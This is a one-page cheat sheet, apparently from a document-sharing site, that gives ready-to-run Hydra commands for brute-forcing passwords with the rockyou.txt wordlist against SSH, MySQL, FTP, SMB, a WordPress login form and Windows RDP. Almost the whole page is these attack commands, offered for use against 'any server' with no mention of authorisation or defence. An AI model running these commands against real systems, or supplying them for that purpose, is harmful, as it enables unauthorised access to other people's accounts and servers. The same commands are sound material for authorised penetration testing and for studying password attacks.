Brute Force Ssh

You might also like

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 1

Brute Force

If any server is running, you can use hydra to crack passwords. Make sure the rockyou.txt file
exists on the location and that you have right username and ip (replace them)

 cracking ssh

1. hydra -l user -P /usr/share/wordlists/rockyou.txt $IP ssh

 crack mysql database server

1. hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP mysql

 crack ftp server

1. hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP ftp

 crack smb server

1. hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP smb

 crack wordpress

1. hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP -V http-form-post


'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

 crack rdp (windows screen sharing)

1. hydra -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$IP

You might also like